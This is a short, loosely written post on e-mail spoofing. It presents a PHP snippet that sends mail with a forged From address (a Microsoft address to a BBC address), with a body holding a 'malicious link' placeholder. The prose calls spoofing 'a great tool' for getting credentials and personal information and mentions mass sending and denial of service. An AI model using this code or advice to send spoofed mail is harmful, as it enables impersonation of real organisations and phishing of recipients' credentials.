E-mail spoofing - brief

How easy is to spoof a e-mail address. All can be achieved by a simple PHP code accessible in many places across the internet. It often contains a html website layouts and signatures therefore it becomes even harder to detect. Most of the times it's being broadcast-ed to thousands at the time. Its a great tool to get some credentials or other personal information. It can also be used as a small clever denial of service attack depends on the target and aims.

$frm = "John@microsoft.com";
$attn1 = "Steve@bbc.co.uk";

$subject = 'Hi Steve';


$message = "
Hello x,

info,
malicious link

John \n
";
$from = "From: $frm\r\n";
mail($attn1, $subject, $message, $from);
?>